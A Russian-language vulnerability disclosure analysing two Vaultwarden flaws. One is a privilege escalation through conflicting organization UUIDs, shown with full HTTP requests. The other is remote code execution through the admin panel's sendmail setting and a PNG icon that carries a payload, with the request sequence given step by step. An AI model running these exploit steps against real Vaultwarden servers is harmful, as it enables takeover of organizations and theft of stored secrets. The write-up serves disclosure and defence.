Анализ уязвимостей в Vaultwarden: CVE‑2025‑24364 и CVE‑2025‑24365
Vaultwarden — бесплатное решение, а его API совместим c Bitwarden. Благодаря этому популярность Vaultwarden растет. По данным BI.ZONE TDR, в 2025 году его использует каждая десятая российская компания.
Как и любое хранилище секретов, Vaultwarden — критически важный сервис, требующий повышенного внимания безопасников. Его компрометация влечет множество рисков. Поскольку секреты от других внутренних сервисов хранятся в Vaultwarden, при его взломе атакующий узнает и их. А если продукт автоматически получает секреты с помощью API, злоумышленник попадет на хост с обширной сетевой связностью.
Поэтому наша группа исследования уязвимостей проанализировала Vaultwarden. В результате мы обнаружили две уязвимости высокого уровня опасности: CVE‑2025‑24364 и CVE‑2025‑24365.
В первую очередь мы обратили внимание на механизм проверки прав. Наше внимание привлекло то, как проверяются права на секреты, созданные в рамках организации.
Большая часть эндпоинтов, связанных c организациями, получает UUID организации из пути запроса, однако есть и эндпоинты, которые получают UUID через параметр GET. Важно отметить, что внутри логики эндпоинтов нет логики проверки прав в организации. За это отвечает отдельная функция, которая в терминологии HTTP-фреймворка Rocket называется Request Guard. По сути, главное назначение Request Guard — получить данные из HTTP-запроса и провести их валидацию.
            Request Guard для структуры OrgHeaders
        
            OrgHeaders
        Request Guard получает UUID организации и проверяет, является ли пользователь ее частью, после чего устанавливает необходимые права.
Однако нам интересно, как именно эта функциональность получает UUID организации. Сниппет кода с такой логикой показан ниже.
            Request Guard
        Можно заметить, что сервер пытается получить UUID из пути запроса и параметра GET, как было отмечено ранее.
А что, если мы укажем UUID и в пути, и в параметре GET? В таком случае сервер получит UUID организации из пути, однако сразу же перезапишет его на UUID из параметра GET. Информацию о UUID организации структура OrgHeaders не содержит, поэтому в эндпоинтах, связанных с организациями, она реализована отдельно.
В этом и заключается уязвимость: у злоумышленника появляется возможность взаимодействовать с организацией, имея права совершенно другой.
Пример эксплуатации
В качестве примера эксплуатации получим права администратора в организации, где мы обычный пользователь.
Наш пользователь attacker@gmail.com имеет пользовательские права в организации org1.
            org1
        Для эксплуатации нам потребуется организация, где у нас есть полные права. Для этого создаем организацию my_own_org.
            attacker@gmail.com
        Теперь меняем наши права в организации org1, используя уязвимость. Сначала узнаём список пользователей при помощи следующего запроса:
GET /api/organizations/<ORG1_UUID>/users?organizationId=<MY_OWN_ORG_UUID> HTTP/1.1
Host: vaultwarden-host
Bitwarden-Client-Version: 2024.6.2
authorization: Bearer <TOKEN>
device-type: 9
Здесь <ORG1_UUID> — UUID организации org1, <MY_OWN_ORG_UUID> — UUID организации my_own_org.
Сервер в ответе выдает информацию обо всех пользователях в организации:
{
  "data": [
 
    ...
 
    {
      "accessAll": false,
      "accessSecretsManager": false,
      "avatarColor": null,
      "collections": [],
      "email": "attacker@gmail.com",
      "externalId": null,
      "groups": [],
      "hasMasterPassword": false,
      "id": <ENROLLMENT_UUID>,
      "name": null,
      "object": "organizationUserUserDetails",
      "permissions": {
        "accessEventLogs": false,
        "accessImportExport": false,
        "accessReports": false,
        "createNewCollections": false,
        "deleteAnyCollection": false,
        "deleteAssignedCollections": false,
        "editAnyCollection": false,
        "editAssignedCollections": false,
        "manageGroups": false,
        "managePolicies": false,
        "manageResetPassword": false,
        "manageScim": false,
        "manageSso": false,
        "manageUsers": false
      },
      "resetPasswordEnrolled": false,
      "ssoBound": false,
      "status": 2,
      "twoFactorEnabled": false,
      "type": 2,
      "userId": <USER_UUID>,
      "usesKeyConnector": false
    }
  ],
  "object": "list",
  "continuationToken": null
}
Здесь <ENROLLMENT_UUID> — UUID участника организации, <USER_UUID> — UUID пользователя.
Используя <ENROLLMENT_UUID> из предыдущего запроса, даем полные права нашему пользователю в организации org1:
PUT /api/organizations/<ORG1_UUID>/users/<ENROLLMENT_UUID>/?organizationId=<MY_OWN_ORG_UUID> HTTP/1.1
Host: vaultwarden-host
Bitwarden-Client-Version: 2024.6.2
authorization: Bearer <TOKEN>
device-type: 9
 
{
  "collections": [],
  "groups": [],
  "accessAll": true,
  "permissions": {
    "response": null
  },
  "type": 0,
  "accessSecretsManager": true
}
В результате получаем полные права в организации, где были обычным пользователем.
            org1, пользователь Attacker имеет роль owner
        Краткое описание эксплуатации:
- Злоумышленник имеет доступ к организации А, но у него ограниченные права.
 - Создает организацию Б, где по умолчанию становится администратором.
 - Отправляет запрос на эндпоинты, при этом указывая в пути UUID организации A, а в GET‑параметре — UUID организации Б.
 - Получает права администратора в организации А.
 
Помимо механизма проверки прав, нас заинтересовала панель администратора Vaultwarden.
            В первую очередь мы обратили внимание на возможность использовать sendmail в качестве клиента SMTP, а также выбрать команду, при помощи которой будут отправляться письма. В качестве команды мы выбрали /bin/sh для исполнения произвольного кода.
Однако не все так просто: для успешной эксплуатации в файловой системе требуется SH‑файл с нашей нагрузкой. Поэтому в панели администратора меняем путь к директории с иконками сайтов. Для этого используем следующий запрос:
POST /admin/config HTTP/1.1  
Host: vaultwarden_host  
Content-Type: application/json  
Cookie: VW_ADMIN=<admin_session>
 
{
    ...
    "icon_cache_folder": "/@icon"
}
После изменения директории Vaultwarden автоматически создает ее по пути /@icon. Это название обусловлено тем, что для успешной эксплуатации требуется соответствие пути к файлу правилам регулярного выражения email, ведь при отправке через sendmail в аргументе указывается почта.
Теперь приступаем к созданию иконки, внутри которой будет зашита нагрузка. Для этого берем любой PNG‑файл и добавляем в его метаданные нашу нагрузку.
            После исполнения нагрузки файл появляется в файловой системе по пути /win. Таким же образом можно исполнить абсолютно любой код.
Следующим шагом размещаем изображение на своем сервере так, чтобы оно возвращалось при GET‑запросе /apple-touch-icon.png.
Затем заставляем Vaultwarden сохранить картинку у себя. Для этого нужно сделать GET‑запрос /icons/site.com/icon.png, где site.com — это наш сайт.
Сервер сохраняет картинку в /@icon/site.com.png.
            /@icon
        После этого мы настраиваем панель администратора, как показано ниже.
            Можно заметить, что в колонке from_address мы указали абсолютный путь к сохраненному изображению.
Подготовительный этап закончен, можем запускать! Для этого нужно всего лишь отправить следующий запрос:
POST /admin/test/smtp HTTP/1.1  
Host: vaultwarden_host  
Content-Type: application/json  
Cookie: VW_ADMIN=<admin_session>
 
{
    "email": "test@test.com"
}
После выполнения этого запроса сервер запускает /bin/sh, а в качестве аргумента указывает /@icon/site.com.png, тем самым выполняя нашу полезную нагрузку.
В файловой системе появляется файл /win, что доказывает успешность эксплуатации.
            /win
        Краткое описание эксплуатации:
- Атакующий имеет доступ к панели администратора.
 - Меняет директорию, куда сохраняются иконки сайтов, на 
/@icon. - Меняет настройки SMTP, чтобы использовать для отправки сообщений исполняемый файл 
/bin/shи заменить исходящий адрес на/@icon/site.com.png. - Размещает на 
site.com/apple-touch-icon.pngизображение с вшитой в метаданные нагрузкой и заставляет Vaultwarden его закешировать. - Отправляет тестовое сообщение и получает произвольное исполнение кода.
 
Несмотря на ранее проведенный security-аудит кода Vaultwarden, сервис все равно имеет уязвимости.
Мы рекомендуем отключать функциональность, которую вы не используете, чтобы снизить поверхность атаки и вероятность компрометации вашего хранилища секретов.